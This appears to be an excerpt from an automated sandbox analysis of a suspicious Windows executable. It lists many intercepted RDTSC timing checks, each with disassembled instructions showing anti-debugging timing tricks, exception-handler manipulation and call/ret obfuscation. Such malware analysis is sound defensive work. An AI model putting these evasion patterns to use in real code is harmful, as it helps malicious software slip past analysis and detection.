0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push esi 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 pop esi 0x00000056 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED461 second address: 3ED47A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED47A second address: 3ED48D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EB36F second address: 3EB412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007EFEF4E8FF68h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 mov di, B295h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b je 00007EFEF4E8FF6Ch 0x00000031 mov dword ptr [ebp+122D1800h], ecx 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov dword ptr [ebp+122D17E4h], ebx 0x00000044 mov eax, dword ptr [ebp+122D1381h] 0x0000004a mov edi, dword ptr [ebp+122D18FBh] 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007EFEF4E8FF68h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 00000019h 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c mov bh, 6Ch 0x0000006e nop 0x0000006f jmp 00007EFEF4E8FF74h 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jne 00007EFEF4E8FF6Ch 0x0000007d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EE4DD second address: 3EE53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D323h 0x00000009 popad 0x0000000a pop ebx 0x0000000b nop 0x0000000c sub dword ptr [ebp+1245D543h], ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007EFEF544D318h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e and bx, DA93h 0x00000033 push 00000000h 0x00000035 jnp 00007EFEF544D31Ch 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EE53A second address: 3EE53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EE53E second address: 3EE544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 385990 second address: 385996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 385996 second address: 3859A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007EFEF544D31Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3859A9 second address: 3859AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3859AF second address: 3859B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3859B3 second address: 3859EB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFEF4E8FF66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFEF4E8FF6Ch 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007EFEF4E8FF78h 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F2B16 second address: 3F2B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007EFEF544D322h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EE631 second address: 3EE636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EF86B second address: 3EF86F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3EF86F second address: 3EF875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F067D second address: 3F0681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F4B9C second address: 3F4BF5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007EFEF4E8FF68h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov ebx, 11887879h 0x0000002d push 00000000h 0x0000002f jbe 00007EFEF4E8FF68h 0x00000035 mov ebx, eax 0x00000037 push 00000000h 0x00000039 sub edi, dword ptr [ebp+1245DAB9h] 0x0000003f push eax 0x00000040 pushad 0x00000041 ja 00007EFEF4E8FF6Ch 0x00000047 jp 00007EFEF4E8FF66h 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F4BF5 second address: 3F4BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED5DC second address: 3ED6C7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFEF4E8FF7Ah 0x00000008 jmp 00007EFEF4E8FF74h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnp 00007EFEF4E8FF81h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007EFEF4E8FF68h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D2A46h] 0x00000037 push dword ptr fs:[00000000h] 0x0000003e jmp 00007EFEF4E8FF79h 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007EFEF4E8FF68h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 0000001Bh 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 mov di, dx 0x00000067 mov eax, dword ptr [ebp+122D06E5h] 0x0000006d jg 00007EFEF4E8FF6Ch 0x00000073 push FFFFFFFFh 0x00000075 xor di, 7A5Eh 0x0000007a nop 0x0000007b jmp 00007EFEF4E8FF75h 0x00000080 push eax 0x00000081 push ebx 0x00000082 push eax 0x00000083 push edx 0x00000084 jc 00007EFEF4E8FF66h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3ED6C7 second address: 3ED6CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F0724 second address: 3F0728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F0728 second address: 3F0745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007EFEF544D316h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F0745 second address: 3F0756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007EFEF4E8FF68h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F0756 second address: 3F075C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F075C second address: 3F0760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F3CDF second address: 3F3CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F3CE3 second address: 3F3D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e mov ecx, dword ptr [ebp+122D1AD9h] 0x00000014 mov dword ptr [ebp+1248186Eh], edi 0x0000001a popad 0x0000001b mov ebx, 44DD5600h 0x00000020 push dword ptr fs:[00000000h] 0x00000027 mov ebx, 780ABDBAh 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 mov ebx, dword ptr [ebp+122D29FAh] 0x00000039 mov eax, dword ptr [ebp+122D0081h] 0x0000003f mov dword ptr [ebp+122D281Dh], ebx 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007EFEF4E8FF68h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov di, bx 0x00000064 nop 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007EFEF4E8FF6Fh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3F5CD5 second address: 3F5CF7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFEF544D329h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3FAA2D second address: 3FAA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3FAA33 second address: 3FAA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007EFEF544D316h 0x0000000c jns 00007EFEF544D316h 0x00000012 jmp 00007EFEF544D323h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3FF122 second address: 3FF128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DC078 second address: 3DC07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4055DA second address: 40565A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF77h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c js 00007EFEF4E8FF92h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ebx 0x00000017 push ecx 0x00000018 jmp 00007EFEF4E8FF79h 0x0000001d pop ecx 0x0000001e pop ebx 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 push ebx 0x00000023 ja 00007EFEF4E8FF66h 0x00000029 pop ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40565A second address: 40565E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40565E second address: 40566D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40566D second address: 405673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 405752 second address: 405758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 405758 second address: 405760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 405760 second address: 40578F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007EFEF4E8FF6Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007EFEF4E8FF71h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40578F second address: 4057A3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007EFEF544D316h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4057A3 second address: 4057A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4057A7 second address: 4057C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D325h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40AB11 second address: 40AB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007EFEF4E8FF73h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40AB2F second address: 40AB34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 409797 second address: 4097B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF74h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4097B3 second address: 4097B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 409EDB second address: 409F08 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFEF4E8FF83h 0x00000008 jmp 00007EFEF4E8FF77h 0x0000000d jg 00007EFEF4E8FF66h 0x00000013 jnp 00007EFEF4E8FF6Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40A06A second address: 40A06E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40A80C second address: 40A814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40A814 second address: 40A858 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007EFEF544D31Fh 0x0000000a pop edx 0x0000000b jmp 00007EFEF544D326h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007EFEF544D323h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 41029B second address: 4102A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4106FF second address: 410705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410845 second address: 410849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410849 second address: 410881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFEF544D31Fh 0x00000012 jmp 00007EFEF544D325h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410881 second address: 410885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410885 second address: 4108A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007EFEF544D325h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4108A2 second address: 4108BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF4E8FF6Eh 0x00000009 jl 00007EFEF4E8FF66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40FE68 second address: 40FE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 40FE6E second address: 40FE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFEF4E8FF72h 0x0000000a jl 00007EFEF4E8FF66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410BCD second address: 410BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFEF544D31Fh 0x0000000c jo 00007EFEF544D316h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410BE9 second address: 410BF5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFEF4E8FF66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410E73 second address: 410E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 410E79 second address: 410E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFEF4E8FF6Fh 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3875AE second address: 3875B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3875B4 second address: 3875B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3875B8 second address: 3875C2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3875C2 second address: 3875C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3875C7 second address: 3875D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 414C41 second address: 414C63 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFEF4E8FF6Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jne 00007EFEF4E8FF66h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jc 00007EFEF4E8FF66h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 414C63 second address: 414C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 414C67 second address: 414C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 414C6D second address: 414C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 414C72 second address: 414C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF6Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D73FE second address: 3D7408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7408 second address: 3D740E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D740E second address: 3D7440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007EFEF544D31Eh 0x0000000d nop 0x0000000e push ecx 0x0000000f mov ecx, ebx 0x00000011 pop edx 0x00000012 movzx edi, dx 0x00000015 lea eax, dword ptr [ebp+1248813Ch] 0x0000001b mov edi, dword ptr [ebp+122D3382h] 0x00000021 mov di, D42Dh 0x00000025 push eax 0x00000026 push eax 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3D7440 second address: 3BF169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dx, B25Fh 0x0000000d call dword ptr [ebp+122D387Dh] 0x00000013 je 00007EFEF4E8FF9Fh 0x00000019 pushad 0x0000001a jns 00007EFEF4E8FF78h 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007EFEF4E8FF66h 0x00000028 rdtsc
